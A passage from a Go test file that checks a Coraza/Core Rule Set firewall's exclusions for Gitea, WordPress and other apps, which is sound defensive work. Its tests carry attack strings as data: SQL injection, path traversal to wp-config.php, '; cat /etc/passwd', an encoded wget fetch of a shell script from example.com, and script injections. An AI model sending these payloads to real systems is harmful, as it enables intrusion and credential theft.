"*e#!-z{Jq)Sqwx@k:b:}", // 932230 + "pErl>vR[Z7K^`RHb+RW${/(z}C", // 933135 + "Ep3!qqe 7$RT(_)@SLV6", // 933180 + "&:4WomDrn$\"(SE_D);Ja", // 933210 + "='nlIgN7ON\\\\mWt=Tr84", // 941120 + "P]/C>Ef]F-\"{Z\\QDwqBQs%v}`nBu", // 942550 + "`aV#3${J4,\\h.q' k\\${", // 944150 +} + +// randomPasswords returns 2,000 random passwords from a fixed seed, then +// rarePasswords. +func randomPasswords() []string { + const count, seed = 2000, 276 + + //nolint:gosec // a fixed sample + random := rand.New(rand.NewPCG(seed, seed)) + + passwords := make([]string, count, count+len(rarePasswords)) + for i := range passwords { + passwords[i] = randomPassword(random) + } + + return append(passwords, rarePasswords...) +} + +// passwordBody returns a body of r's type, form data or JSON, that sends +// each of passwords in each of names. In JSON, a dot in a name nests the +// field: pass.0.value is {"pass":{"0":{"value":password}}}, which Coraza +// names as it names the same field sent in an array. Coraza checks each +// value of a field on its own, and keeps every value of a JSON key sent more +// than once. +func passwordBody( + t *testing.T, + r request, + names []string, + passwords ...string, +) string { + t.Helper() + + var fields []string + + for _, name := range names { + if r.headers[0] != jsonBody { + fields = append(fields, formBody(name, passwords...)) + + continue + } + + keys := strings.Split(name, ".") + + for _, password := range passwords { + var value any = password + for i := len(keys) - 1; i > 0; i-- { + value = map[string]any{keys[i]: value} + } + + pair, err := json.Marshal(map[string]any{keys[0]: value}) + if err != nil { + t.Fatal(err) + } + + fields = append(fields, string(pair[1:len(pair)-1])) + } + } + + if r.headers[0] != jsonBody { + return strings.Join(fields, "&") + } + + return "{" + strings.Join(fields, ",") + "}" +} + +// formBody returns a form data body that sends each of values in the field +// name. +func formBody(name string, values ...string) string { + fields := make([]string, len(values)) + for i, value := range values { + fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value) + } + + return strings.Join(fields, "&") +} + +// setsOffARule reports whether body, form data sent to / as a browser +// sends it, sets off a rule in crs. +func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool { + req := httptest.NewRequestWithContext( + context.Background(), + http.MethodPost, + "http://git.example/", + strings.NewReader(body), + ) + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + req.Header.Set("Content-Length", strconv.Itoa(len(body))) + req.Header.Set( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0", + ) + req.Header.Set("Accept", "text/html") + + // The body is read from memory, which cannot fail. + result, _, _ := crs.Inspect( + req, + netip.MustParseAddr("203.0.113.9"), + req.Body, + ) + + return len(result.RuleIDs) > 0 +} + +// findMisfiringPasswords returns those of randomPasswords that set off a +// rule in the form data field password on /, which no exclusion names, while +// bodies are read. It runs once, for every test that asks. Each body sends +// ten passwords, and a body that sets off a rule is sent again one password +// at a time. +// +//nolint:gochecknoglobals // the tests share it +var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) { + const workers, perBody = 16, 10 + + crs, err := loaderFor(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, + })() + if err != nil { + return nil, err + } + + passwords := randomPasswords() + misfires := make([]bool, len(passwords)) + + var inspecting sync.WaitGroup + + for worker := range workers { + inspecting.Go(func() { + for first := worker * perBody; first < len(passwords); first += workers * perBody { + last := min(first+perBody, len(passwords)) + if !setsOffARule( + crs, + formBody("password", passwords[first:last]...), + ) { + continue + } + + for i := first; i < last; i++ { + misfires[i] = setsOffARule( + crs, + formBody("password", passwords[i]), + ) + } + } + }) + } + + inspecting.Wait() + + var misfiring []string + + for i, password := range passwords { + if misfires[i] { + misfiring = append(misfiring, password) + } + } + + return misfiring, nil +}) + +// misfiringPasswords returns those of randomPasswords that set off a rule in +// a field no exclusion names. The rules that misfire on a password read its +// value, not the name of its field. So the other random passwords set off no +// rule in any field. +func misfiringPasswords(t *testing.T) []string { + t.Helper() + + misfiring, err := findMisfiringPasswords() + if err != nil { + t.Fatalf("load the Core Rule Set: %v", err) + } + + for _, rare := range rarePasswords { + if !slices.Contains(misfiring, rare) { + t.Fatalf( + "%q sets off no rule in a field no exclusion names", + rare, + ) + } + } + + return misfiring +} + +// wantRandomPasswordsPass checks that none of randomPasswords, sent in the +// field name of r's body, is refused while bodies are read. r's Content-Type +// is form data or JSON. Only the passwords misfiringPasswords returns set off +// a rule in some field, so only they are sent, all in one body. If it is +// refused, each is sent again on its own, to name those refused. +func wantRandomPasswordsPass(t *testing.T, r request, name string) { + t.Helper() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + crs := readingBodies(t) + misfiring := misfiringPasswords(t) + names := []string{name} + + body := passwordBody(t, r, names, misfiring...) + if len(body) > bodyInspectionSize { + t.Fatalf( + "a body of %d bytes is cut at bodyInspectionSize", + len(body), + ) + } + + if got, _ := inspectBody(t, crs, r, body); got.Score < threshold { + return + } + + for _, password := range misfiring { + body := passwordBody(t, r, names, password) + if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold { + t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name, + password, got) + } + } +} + +// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a +// shell command and a script in an event handler, each sent as the whole +// password in each of the fields names of r's body, pass while bodies are +// read. +func wantPasswordAttacksPass(t *testing.T, r request, names ...string) { + t.Helper() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + for _, attack := range []string{ + "' OR '1'='1", pathTraversal, "; cat /etc/passwd", + "", + } { + body := passwordBody(t, r, names, attack) + if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold { + t.Errorf("%s %s %v %q refused: %+v", r.method, r.target, names, + attack, got) + } + } +} + +// wantPasswordAttacksRefused checks that a script tag and a javascript: link, +// each sent as the whole password in the field name of r's body, are refused +// while bodies are read. +func wantPasswordAttacksRefused(t *testing.T, r request, name string) { + t.Helper() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + for _, attack := range []string{scriptTag, "javascript:alert(1)"} { + body := passwordBody(t, r, []string{name}, attack) + if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold { + t.Errorf( + "%s %s %s %q let through: %+v", + r.method, + r.target, + name, + attack, + got, + ) + } + } +} + +// passwordFields names the password fields one form or JSON body sends to +// target. contentType is formData or jsonBody. +type passwordFields struct { + target, contentType string + names []string +} + +// wantPasswordFieldsPass checks that the random passwords pass in each field +// of fields, that the attacks that pass in a password pass in all of a +// target's fields sent together, and that a script tag or a javascript: link +// in any one field is still refused. Sending the attacks together keeps the +// test cheap: a body of them is refused if any one field checks them. +func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) { + t.Helper() + + for _, sent := range fields { + t.Run(sent.target+" "+sent.contentType, func(t *testing.T) { + t.Parallel() + + r := request{ + http.MethodPost, + sent.target, + []string{sent.contentType}, + } + + wantPasswordAttacksPass(t, r, sent.names...) + + for _, name := range sent.names { + wantRandomPasswordsPass(t, r, name) + wantPasswordAttacksRefused(t, r, name) + } + }) + } +} + +func TestGiteaPasswordsPass(t *testing.T) { + t.Parallel() + + // gitea's password fields, each sent to one of the paths that takes it. + fields := []passwordFields{ + {"/user/login", formData, []string{passwordKey}}, + {"/user/sign_up", formData, []string{passwordKey, retypeKey}}, + {"/user/link_account_signin", formData, []string{passwordKey}}, + { + "/user/link_account_signup", + formData, + []string{passwordKey, retypeKey}, + }, + {"/user/activate", formData, []string{passwordKey}}, + {"/user/recover_account", formData, []string{passwordKey}}, + { + "/user/settings/change_password", + formData, + []string{passwordKey, retypeKey}, + }, + { + "/user/settings/account", formData, + []string{"old_password", passwordKey, retypeKey}, + }, + {"/user/settings/account/delete", formData, []string{passwordKey}}, + {"/-/admin/users/new", formData, []string{passwordKey}}, + {"/-/admin/users/1/edit", formData, []string{passwordKey}}, + {"/admin/users/1/edit", formData, []string{passwordKey}}, + {"/api/v1/admin/users", jsonBody, []string{passwordKey}}, + {"/api/v1/admin/users/alice", jsonBody, []string{passwordKey}}, + } + + wantPasswordFieldsPass(t, fields) +} + +func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + crs := readingBodies(t) + + // These fields skip the rules only when the query has no field of the + // same name. An SQL injection in the query is refused. MediaWiki's + // password and retype skip them only when authAction names their form, + // so its rows send that before the field. Ghost's rows name each field + // as Coraza names a field of a JSON body. + for _, sent := range []struct{ path, field string }{ + {nextcloudSignIn, passwordField}, + {mediawikiAPI, passwordField}, + {mediawikiAPI, "lgpassword="}, + {mediawikiAPI, retypeKey + "="}, + {mediawikiAccountChange, "authAction=change&" + passwordField}, + {mediawikiAccountChange, "authAction=change&" + retypeKey + "="}, + {mediawikiSignUp, "authAction=create&" + retypeKey + "="}, + {"/wiki/Special:UserLogin", "authAction=login-continue&" + retypeKey + "="}, + {"/user/sign_up", passwordField}, + {"/user/settings/account", "old_password="}, + {wpLogin, "pass1="}, + {wpLogin, "post_password="}, + {"/wp-admin/profile.php", "pass2="}, + {"/wp-json/wp/v2/users", passwordField}, + {drupalRegister, "pass%5Bpass1%5D="}, + {"/user/1/edit", "current_pass="}, + {"/auth/challenge", "form_challenge%5Bcurrent_password%5D="}, + {"/login/confirm", passwordField}, + {"/settings/personal/changepassword", "newpassword="}, + {"/apps/encryption/ajax/adminRecovery", "confirmPassword="}, + {"/admin", "token="}, + {ghostSession, "json.password="}, + {"/ghost/api/admin/authentication/setup/", "json.setup.0.password="}, + {"/ghost/api/admin/authentication/invitation/", "json.invitation.0.password="}, + { + "/ghost/api/admin/authentication/password_reset/", + "json.password_reset.0.newPassword=", + }, + {"/ghost/api/admin/users/password/", "json.password.0.oldPassword="}, + } { + r := request{ + http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1", + []string{formData}, + } + + got, _ := inspectBody(t, crs, r, sent.field+"example") + if got.Score < threshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } +} + +// The password exclusions apply in front of every app. So each field keeps +// every rule on a nearby path that its exclusion does not name. +func TestPasswordExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + crs := readingBodies(t) + + for _, sent := range []struct{ target, contentType, name string }{ + {"/user/settings/profile", formData, passwordKey}, + {"/api/v1/user/repos", jsonBody, passwordKey}, + {"/admin/users/overview", formData, "token"}, + {"/wp-admin/options.php", formData, "pass1"}, + {"/wp-admin/post.php", formData, "post_password"}, + {"/user/password", formData, "pass[pass1]"}, + {"/settings/apps", formData, passwordKey}, + {"/ocs/v2.php/apps/spreed/api/v4/room", jsonBody, passwordKey}, + {"/settings/profile", formData, "form_challenge[current_password]"}, + } { + r := request{ + http.MethodPost, + sent.target, + []string{sent.contentType}, + } + + body := passwordBody(t, r, []string{sent.name}, "' OR '1'='1") + if got, _ := inspectBody(t, crs, r, body); got.Score < threshold { + t.Errorf( + "POST %s %s let through: %+v", + sent.target, + sent.name, + got, + ) + } + } +} + +func TestGiteaAttacksAreRefused(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + crs := atDefaults(t) + + // In q too, off gitea's search pages. + for _, parameter := range []string{"id", "q"} { + for _, attack := range []string{ + sqlInjection, + "..%2Fcustom%2Fconf%2Fapp.ini", + scriptInjection, + } { + target := "/owner/repo?" + parameter + "=" + attack + if got := inspect(t, crs, get(target)); got.Score < threshold { + t.Errorf("%s let through: %+v", target, got) + } + } + } + + // gitea has no owner named api, so these are not a repository's search, + // issues, pull requests or milestone page. /api/v2/search is Mastodon's + // search. + for _, path := range []string{ + "/api/v2/search", + "/api/v2/issues", + "/api/v2/pulls", + "/api/v2/milestone/1", + } { + for _, attack := range []string{ + sqlInjection, + scriptInjection, + "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh", + } { + target := path + "?q=" + attack + if got := inspect(t, crs, get(target)); got.Score < threshold { + t.Errorf("%s let through: %+v", target, got) + } + } + + // Nor is a page opened from them. + for _, attack := range []string{scriptTag, injection} { + referer := "Referer: https://example.com" + path + "?q=" + attack + if got := inspect(t, crs, get("/", referer)); got.Score < threshold { + t.Errorf("%s let through: %+v", referer, got) + } + } + } +} + +func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough( + t *testing.T, +) { + t.Parallel() + + crs := atDefaults(t) + + // The searches of a user's and of an organisation's repositories. + for _, target := range []string{ + "/alice?tab=repositories&q=ls%20-la", + "/acme?q=ls%20-la&sort=recentupdate", + "/jane.doe?tab=repositories&q=ls%20-la", + } { + wantResult(t, crs, get(target), coreruleset.Result{}) + } + + // 932250 still applies on a path that ends in a server-side script's + // extension or holds a character no name holds, to another field, and on + // a path of two segments. + for _, target := range []string{ + "/index.php?q=ls%20-la", + "/INDEX.PHP?q=ls%20-la", + "/index%2Ephp?q=ls%20-la", + "/search.cgi?q=ls%20-la", + "/login.jsp;jsessionid=abc?q=ls%20-la", + "/alice?tab=ls%20-la", + "/alice/tools?q=ls%20-la", + } { + wantResult(t, crs, get(target), matched(932250)) + } + + // A command after a ";" in q is still refused on each of these paths. + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + for _, target := range []string{ + "/alice?tab=repositories&q=", + "/index.php?q=", + "/wp-login.php?q=", + "/alice/tools?q=", + } { + if got := inspect(t, crs, get(target+commandInjection)); got.Score < threshold { + t.Errorf("%s%s let through: %+v", target, commandInjection, got) + } + } +} + +// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the +// REST API routes of a post and of the tags. +const ( + wpLogin = "/wp-login.php" + wpComment = "/wp-comments-post.php" + wpAjax = "/wp-admin/admin-ajax.php" + wpPost = "/wp-json/wp/v2/posts/1" + wpTags = "/wp-json/wp/v2/tags" +) + +// readingBodiesUpTo8K returns the Core Rule Set as sww runs it by default, +// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE. +func readingBodiesUpTo8K(t *testing.T) *coreruleset.CoreRuleSet { + t.Helper() + + return shared(t, coreruleset.Params{ + ParanoiaLevel: 1, + DisabledRules: defaultDisabledRules, + BodyInspectionSize: mostBodyRead, + }) +} + +// wordpressAttackTargets returns attack in a query parameter no exclusion +// names, and in each field whose searches and names skip some rules there. +func wordpressAttackTargets(attack string) []string { + return []string{ + "/?id=" + attack, + wpLogin + "?id=" + attack, + "/wp-admin/admin-ajax.php?id=" + attack, + "/wp-json/wp/v2/posts?id=" + attack, + "/?s=" + attack, + "/index.php?s=" + attack, + "/page/2/?s=" + attack, + "/index.php/page/2/?s=" + attack, + "/wp-admin/edit.php?s=" + attack, + "/wp-admin/upload.php?s=" + attack, + "/wp-admin/plugin-install.php?s=" + attack, + "/wp-admin/edit-comments.php?s=" + attack, + "/wp-admin/users.php?s=" + attack, + "/wp-admin/plugins.php?s=" + attack, + "/wp-admin/edit-tags.php?s=" + attack, + "/wp-json/wp/v2/search?search=" + attack, + "/wp-json/wp/v2/posts?search=" + attack, + "/wp-json/wp/v2/tags?search=" + attack, + "/?rest_route=/wp/v2/search&search=" + attack, + "/wp-json/wp/v2/posts?slug=" + attack, + "/wp-json/wp/v2/tags?slug=" + attack, + "/?rest_route=/wp/v2/posts&slug=" + attack, + "/wp-json/wp/v2/block-directory/search?term=" + attack, + "/wp-admin/themes.php?search=" + attack, + "/wp-admin/theme-install.php?search=" + attack, + "/wp-admin/upload.php?search=" + attack, + "/wp-admin/admin-ajax.php?q=" + attack, + "/wp-admin/admin-ajax.php?term=" + attack, + "/wp-admin/edit.php?_wp_http_referer=" + attack, + "/wp-admin/upload.php?_wp_http_referer=" + attack, + "/?tag=" + attack, + "/index.php?tag=" + attack, + "/wp-admin/edit.php?tag=" + attack, + "/wp-admin/edit.php?category_name=" + attack, + "/wp-admin/plugin-editor.php?file=" + attack, + "/wp-admin/theme-editor.php?file=" + attack, + "/wp-admin/plugin-editor.php?plugin=" + attack, + "/wp-admin/plugins.php?plugin=" + attack, + "/wp-admin/update.php?plugin=" + attack, + "/wp-admin/admin.php?page=" + attack, + "/wp-admin/options-general.php?page=" + attack, + "/wp-admin/tools.php?page=" + attack, + "/wp-admin/site-editor.php?p=" + attack, + "/wp-admin/site-editor.php?postId=" + attack, + "/wp-admin/admin-ajax.php?slug=" + attack, + "/wp-json/wp-block-editor/v1/url-details?url=" + attack, + "/wp-json/oembed/1.0/proxy?url=" + attack, + "/?rest_route=/oembed/1.0/proxy&url=" + attack, + } +} + +func TestWordPressAttacksAreRefused(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + defaults, bodies := atDefaults(t), readingBodiesUpTo8K(t) + + for _, attack := range []string{ + sqlInjection, + "..%2F..%2Fwp-config.php", + scriptInjection, + } { + for _, target := range wordpressAttackTargets(attack) { + if got := inspect(t, defaults, get(target)); got.Score < threshold { + t.Errorf("%s let through: %+v", target, got) + } + } + + // In a body field no exclusion names, on the paths with exclusions. + body := "id=" + attack + for _, target := range []string{ + wpLogin, + wpComment, + wpAjax, + "/wp-admin/post.php", + "/wp-admin/options.php", + } { + got, _ := inspectBody(t, bodies, + request{http.MethodPost, target, []string{formData}}, body) + if got.Score < threshold { + t.Errorf("POST %s %q let through: %+v", target, body, got) + } + } + + // In the body fields that skip some rules. + posts := append(wordpressBodyFields(attack), + wordpressBodyField{wpComment, formData, "url=" + attack}) + for _, p := range posts { + got, _ := inspectBody( + t, + bodies, + request{ + http.MethodPost, + p.target, + []string{p.contentType}, + }, + p.body, + ) + if got.Score < threshold { + t.Errorf( + "POST %s %q let through: %+v", + p.target, + p.body, + got, + ) + } + } + } +} + +// wordpressBodyField is a POST to target that sends body, a field whose +// name skips some rules there, with the Content-Type header contentType. +type wordpressBodyField struct{ target, contentType, body string } + +// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to +// install and in each JSON field of a REST API save that skips some rules. +func wordpressBodyFields(encoded string) []wordpressBodyField { + value, _ := url.QueryUnescape(encoded) + + return []wordpressBodyField{ + {wpAjax, formData, "action=install-plugin&slug=" + encoded}, + {wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)}, + {wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)}, + {wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)}, + {wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)}, + } +} + +// wordpressWords returns words that ordinary WordPress names and searches +// hold, each with the rule it misfired on. +func wordpressWords() []struct { + value string + rule int +} { + return []struct { + value string + rule int + }{ + {htaccess, 930120}, + {"powershell", 932120}, + {"ls -la", 932250}, + {"python3", 932260}, + } +} + +// wordpressBlock is the comment that starts every block of WordPress's +// HTML, which rule 941180 matches. +const wordpressBlock = "" + +// wordpressOverride is the header with which the block editor saves. +const wordpressOverride = "X-HTTP-Method-Override: PUT" + +// wordpressRESTAddresses returns the four addresses of route on the REST +// API. +func wordpressRESTAddresses(route string) []string { + return []string{ + "/wp-json" + route, + "/index.php/wp-json" + route, + "/index.php?rest_route=" + route, + "/?rest_route=" + route, + } +} + +func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) { + t.Parallel() + + crs := readingBodiesUpTo8K(t) + content := `{"content":"` + wordpressBlock + `"}` + + for _, route := range []string{ + "/wp/v2/posts/1", + "/wp/v2/posts/1/autosaves", + "/wp/v2/pages/2", + "/wp/v2/templates/twentytwentyfive//index", + "/wp/v2/template-parts/twentytwentyfive//header", + } { + for _, address := range wordpressRESTAddresses(route) { + r := request{ + http.MethodPost, + address, + []string{jsonBody, wordpressOverride}, + } + wantBody(t, crs, r, content, coreruleset.Result{}, content) + } + } + + // The routes that save something else keep the rules. + for _, route := range []string{ + "/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings", + } { + for _, address := range wordpressRESTAddresses(route) { + r := request{http.MethodPost, address, []string{jsonBody}} + wantBody(t, crs, r, content, matched(941180), content) + } + } + + // WordPress follows a route in the query over one in the path. + r := request{ + http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments", + []string{jsonBody}, + } + wantBody(t, crs, r, content, matched(941180), content) +} + +func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + wantChange( + t, + crs, + get("/?s=python3"), + get("/wp-admin/options.php?id=python3"), + matched(932260), + ) + wantChange( + t, + crs, + get("/?s=python3"), + get("/?q=python3"), + matched(932260), + ) + wantChange( + t, + crs, + get("/index.php?s=ls+-la"), + get("/index.php?q=ls+-la"), + matched(932250), + ) + wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"), + get("/wp-json/example/v1/things?search=powershell"), matched(932120)) + wantChange( + t, + crs, + get("/index.php?rest_route=/wp/v2/search&search=powershell"), + get( + "/index.php?rest_route=/example/v1/things&search=powershell", + ), + matched(932120), + ) + wantChange( + t, + crs, + get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"), + get( + "/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php", + ), + matched(930120), + ) + wantChange( + t, + crs, + get("/wp-admin/theme-editor.php?file=docker-compose.yml"), + get( + "/wp-admin/theme-editor.php?id=docker-compose.yml", + ), + matched(932260), + ) +} + +// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three +// groups in wordpress.conf at one target of its group, against the same +// values in a field no group names, then one field at each other target of +// the group. +func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { + t.Parallel() + + // A page's address, repeating the search it came from. Rules 932235 + // and 932260 match it, and only the fields that hold an address skip + // 932235. + const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3" + + crs := atDefaults(t) + + for _, group := range []struct { + target string + fields []string + addressFields []string + }{ + { + "/wp-admin/options.php?", + []string{ + "s", "search", "q", "term", "tag", "category_name", "plugin", + "checked%5B%5D", "theme", "stylesheet", "page", + }, + []string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"}, + }, + {"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil}, + {"/?", []string{"s", "tag"}, nil}, + } { + target := group.target + "id=" + pageAddress + wantResult(t, crs, get(target), matched(932235, 932260)) + + for _, field := range group.fields { + target := group.target + field + "=" + pageAddress + wantResult(t, crs, get(target), matched(932235)) + } + + for _, field := range group.addressFields { + target := group.target + field + "=" + pageAddress + wantResult(t, crs, get(target), coreruleset.Result{}) + } + + allFields := slices.Concat(group.fields, group.addressFields) + + for _, v := range wordpressWords() { + value := url.QueryEscape(v.value) + wantResult( + t, + crs, + get(group.target+"id="+value), + matched(v.rule), + ) + + for _, field := range allFields { + target := group.target + field + "=" + value + wantResult(t, crs, get(target), coreruleset.Result{}) + } + } + } + + for _, target := range []string{ + "/wp-admin/term.php?s=python3", + wpLogin + "?s=python3", + "/index.php/wp-json/wp/v2/tags?slug=python3", + "/index.php?rest_route=/wp/v2/tags&slug=python3", + "/?rest_route=/wp/v2/tags&slug=python3", + "/wp-json/oembed/1.0/embed?url=python3", + "/?rest_route=/oembed/1.0/embed&url=python3", + "/index.php?tag=python3", + "/page/2/?tag=python3", + "/index.php/page/2/?s=python3", + } { + wantResult(t, crs, get(target), coreruleset.Result{}) + } +} + +// TestWordPressSlugFieldsSkipTwoRules checks the names in the first group +// of TestWordPressGroupsSkipRulesOnTheirFields that skip fewer rules. The +// names WordPress writes as slugs skip only 932120 and 932260. +func TestWordPressSlugFieldsSkipTwoRules(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, field := range []string{"p", "postId", "slug"} { + for _, v := range wordpressWords() { + want := coreruleset.Result{} + if v.rule == 930120 || v.rule == 932250 { + want = matched(v.rule) + } + + value := url.QueryEscape(v.value) + target := "/wp-admin/options.php?" + field + "=" + value + wantResult(t, crs, get(target), want) + } + } +} + +func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames( + t *testing.T, +) { + t.Parallel() + + const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh" + + crs := atDefaults(t) + + for _, target := range []string{ + "/?s=", + "/page/2/?s=", + "/wp-admin/edit.php?s=", + "/wp-json/wp/v2/search?search=", + "/wp-admin/themes.php?search=", + "/wp-json/wp/v2/posts?slug=", + "/?rest_route=/wp/v2/posts&slug=", + "/wp-json/wp/v2/tags?url=", + "/wp-json/oembed/1.0/embed?url=", + "/?tag=", + "/wp-admin/edit.php?tag=", + "/wp-admin/admin-ajax.php?q=", + "/wp-admin/admin.php?page=", + "/wp-admin/options-general.php?page=", + "/wp-admin/tools.php?page=", + "/wp-admin/site-editor.php?p=", + "/wp-admin/site-editor.php?postId=", + "/wp-admin/admin-ajax.php?slug=", + } { + wantResult(t, crs, get(target+command), matched(932235)) + } + + bodies := readingBodiesUpTo8K(t) + + for _, p := range wordpressBodyFields(command) { + r := request{http.MethodPost, p.target, []string{p.contentType}} + wantBody(t, bodies, r, p.body, matched(932235), p.body) + } + + // The addresses of a link preview, an embed and a commenter's site keep + // 932260 too. + for _, target := range []string{ + "/wp-json/wp-block-editor/v1/url-details?url=", + "/wp-json/oembed/1.0/proxy?url=", + } { + wantResult(t, crs, get(target+command), matched(932235, 932260)) + } + + comment := request{http.MethodPost, wpComment, []string{formData}} + wantBody( + t, + bodies, + comment, + "url="+command, + matched(932235, 932260), + "url="+command, + ) +} + +// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule +// on one of its paths against the same value where no exclusion applies. +func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + const elsewhere = "/example/things" + + crs := atDefaults(t) + + for _, tt := range []struct { + target string + rule int + }{ + {"/page/2/?s=python3", 932260}, + {"/page/2/?s=ls+-la", 932250}, + {"/page/2/?s=powershell", 932120}, + {"/index.php/page/2/?s=python3", 932260}, + {"/?s=.htaccess", 930120}, + {"/?s=wp-config.php", 930120}, + {"/?s=.bashrc", 930120}, + {"/page/2/?s=.htaccess", 930120}, + {"/wp-admin/edit-comments.php?s=powershell", 932120}, + {"/wp-admin/users.php?s=ls+-la", 932250}, + {"/wp-admin/plugins.php?s=python3", 932260}, + {"/wp-admin/edit-tags.php?s=python3", 932260}, + {"/wp-admin/themes.php?search=powershell", 932120}, + {"/wp-admin/theme-install.php?search=ls+-la", 932250}, + {"/wp-admin/upload.php?search=python3", 932260}, + {"/wp-admin/admin-ajax.php?q=powershell", 932120}, + {"/wp-admin/admin-ajax.php?q=ls+-la", 932250}, + {"/wp-admin/admin-ajax.php?q=python3", 932260}, + {"/wp-admin/admin-ajax.php?term=powershell", 932120}, + {"/wp-admin/admin-ajax.php?term=ls+-la", 932250}, + {"/wp-admin/admin-ajax.php?term=python3", 932260}, + {"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120}, + {"/wp-admin/edit.php?_wp_http_referer=powershell", 932120}, + {"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250}, + {"/wp-admin/users.php?_wp_http_referer=python3", 932260}, + {"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340}, + {"/?tag=python3", 932260}, + {"/index.php?tag=powershell", 932120}, + {"/wp-admin/edit.php?tag=ls+-la", 932250}, + {"/wp-admin/edit.php?category_name=python3", 932260}, + {"/wp-admin/edit.php?category_name=powershell", 932120}, + {"/wp-admin/edit.php?category_name=ls+-la", 932250}, + {"/wp-admin/plugin-editor.php?file=install-script.sh", 932120}, + {"/wp-admin/theme-editor.php?file=document.write.js", 941180}, + {"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260}, + {"/wp-admin/plugins.php?plugin=powershell-tools", 932120}, + {"/wp-admin/update.php?plugin=docker-helper", 932260}, + {"/wp-admin/admin.php?page=docker-helper", 932260}, + {"/wp-admin/options-general.php?page=powershell-tools", 932120}, + {"/wp-admin/tools.php?page=ls+-la", 932250}, + {"/wp-admin/tools.php?page=.htaccess", 930120}, + {"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260}, + {"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120}, + {"/wp-admin/admin-ajax.php?slug=docker-helper", 932260}, + {"/wp-json/wp-block-editor/v1/url-details?url=" + + "http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120}, + {"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120}, + } { + _, query, _ := strings.Cut(tt.target, "?") + wantChange( + t, + crs, + get(tt.target), + get(elsewhere+"?"+query), + matched(tt.rule), + ) + } +} + +// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and +// the header X-HTTP-Method-Override at the REST API's addresses. +func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + // Any route of WordPress's own API, at each address. + for _, route := range []string{ + "/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media", + "/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns", + } { + wantChange( + t, + crs, + get("/wp-json"+route+"?search=python3"), + get( + "/wp-json/example/v1/things?search=python3", + ), + matched(932260), + ) + wantChange( + t, + crs, + get("/index.php?rest_route="+route+"&search=python3"), + get( + "/index.php?rest_route=/example/v1/things&search=python3", + ), + matched(932260), + ) + wantChange( + t, + crs, + get("/?rest_route="+route+"&search=.htaccess"), + get( + "/?rest_route=/example/v1/things&search=.htaccess", + ), + matched(930120), + ) + } + + const directory = 